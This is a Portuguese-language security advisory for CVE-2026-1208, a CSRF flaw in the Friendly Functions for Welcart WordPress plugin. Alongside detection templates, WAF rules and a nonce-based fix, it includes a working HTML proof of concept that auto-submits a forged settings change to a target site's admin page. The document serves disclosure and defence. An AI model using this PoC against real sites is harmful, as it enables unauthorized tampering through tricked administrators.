
Friendly Functions para Welcart <= 1.2.5 - Falsificação de Solicitação Entre Sites para Atualização de Configurações
Palavras-chave: CVE-2026-1208, vulnerabilidade no Friendly Functions for Welcart, CSRF, Falsificação de Solicitação entre Sites, segurança WordPress, vulnerabilidade de plugin WordPress, CWE-352, segurança Welcart, manipulação de configurações, WordPress CVE 2026
Vulnerabilidade de CSRF no Plugin WordPress Friendly Functions for Welcart (CVE-2026-1208) - Falha de segurança que permite que atacantes não autenticados modifiquem as configurações do plugin por meio de solicitações forjadas.
Uma vulnerabilidade de Falsificação de Solicitação entre Sites (CSRF) foi descoberta no plugin Friendly Functions for Welcart, que permite que atacantes não autenticados atualizem as configurações do plugin enganando um administrador para clicar em um link malicioso.
Descoberto por: Kai Aizen (SnailSploit)
Publicado: 23 de janeiro de 2026
Pontuação CVSS: 4.3 (Média)
CWE: CWE-352 - Falsificação de Solicitação entre Sites (CSRF)
Plugin: Friendly Functions for Welcart
Tipo de Ataque: Falsificação de Solicitação entre Sites para Atualização de Configurações
Privilégios Necessários: Nenhum (Ataque Não Autenticado + Engenharia Social)
O plugin Friendly Functions for Welcart para WordPress é vulnerável a Falsificação de Solicitação entre Sites em todas as versões até, e incluindo, 1.2.5. Isso se deve à validação de nonce ausente ou incorreta na página de configurações. Isso possibilita que atacantes não autenticados atualizem as configurações do plugin por meio de uma solicitação forjada, desde que consigam enganar um administrador do site para executar uma ação como clicar em um link.
Esta vulnerabilidade permite que atacantes não autenticados:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
| Métrica | Valor |
|---|---|
| Vetor de Ataque | Rede (AV:N) |
| Complexidade de Ataque | Baixa (AC:L) |
| Privilégios Necessários | Nenhum (PR:N) |
| Interação do Usuário | Necessária (UI:R) |
| Escopo | Inalterado (S:U) |
| Confidencialidade | Nenhuma (C:N) |
| Integridade | Baixa (I:L) |
| Disponibilidade | Nenhuma (A:N) |
A vulnerabilidade existe na implementação da página de configurações, onde:
A vulnerabilidade foi identificada nos seguintes locais:
ffw_function_settings.php - Linha 53ffw_function_settings.php - Linha 58O ataque requer engenharia social para enganar um administrador autenticado a visitar uma página maliciosa ou clicar em um link malicioso enquanto estiver conectado ao seu site WordPress.
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ Aviso: Este PoC é fornecido apenas para fins educacionais e de testes autorizados.
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
Modelo Nuclei:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
Regra ModSecurity:
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Regra Nginx:
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
Ação Imediata Necessária:
Garanta que todos os formulários de configurações implementem a proteção CSRF adequada:
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
Pesquisador:
Processo de Divulgação: Coordenado por meio do Programa Bug Bounty da Wordfence
Estas informações são fornecidas apenas para fins de pesquisa de segurança e defesa. Qualquer exploração desta vulnerabilidade para fins maliciosos é ilegal e antiética. Sempre obtenha autorização adequada antes de testar sistemas que você não possui.
Para perguntas ou informações adicionais sobre esta vulnerabilidade:
Atualizado pela última vez: 23 de janeiro de 2026
O artigo completo deste projeto, metodologia e pesquisas relacionadas estão disponíveis em:
Criado por Kai Aizen — pesquisador independente de segurança ofensiva.
snailsploit.com · Pesquisa · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Mesmo ataque. Substrato diferente.